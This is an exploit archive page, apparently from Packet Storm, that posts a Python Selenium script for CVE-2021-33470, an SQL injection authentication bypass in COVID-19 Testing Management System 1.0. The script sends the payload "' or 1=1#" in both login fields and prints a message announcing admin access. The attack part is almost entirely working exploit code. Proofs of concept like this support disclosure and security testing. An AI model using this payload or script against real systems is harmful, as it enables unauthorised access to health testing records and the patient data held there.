COVID-19 Testing Management System 1.0 SQL Injection

Authored by nu11secur1ty

Posted Jun 8, 2021

COVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.

tags | exploit, remote, sql injection
advisories | CVE-2021-33470
SHA-256 | 0a0103bf0a7eac9dcea23976913fe85ee3e02bab59a17d48ed4103f626bfc8c4 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection
(Authentication Bypass)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 06.08.2021
# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# CVE: CVE-2021-33470
# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE: CVE-2021-33470

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="
http://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php
"

#enter your login username SQL bling injection
username="nu11secur1ty' or 1=1#"
#enter your login password SQL bling injection
password="nu11secur1ty' or 1=1#"

# test and proof the SQL injection
# user: admin
# password: password

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="inputpwd"

#enter the element for submit button by class
element_for_submit="btn.btn-primary.btn-user.btn-block"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
time.sleep(3)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

print("payload is deployed NOW, you have SQL Authentication Bypass =)...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed